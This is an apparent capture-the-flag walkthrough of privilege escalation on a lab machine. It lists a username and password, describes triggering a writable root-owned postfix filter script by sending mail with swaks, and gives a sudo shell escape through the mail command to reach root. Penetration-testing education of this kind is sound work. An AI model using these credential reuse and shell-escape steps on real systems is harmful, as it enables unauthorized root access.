Skip to content

Latest commit

 

History

History
26 lines (25 loc) · 890 Bytes

File metadata and controls

26 lines (25 loc) · 890 Bytes

Using brian.moore : EternaLSunshinE

Running linpeas: We found a readable and writeable file that's owned by root We can edit it as we belong to filter group. Now to trigger it we need to send a mail:

sudo swaks -t [email protected] --from [email protected] --server  192.168.241.137 -body @body.txt -header "Subject:Problems"postfix
pos

Now we get a shell as filter: We can run mail as sudo.

sudo mail --exec='!/bin/sh'

We are root.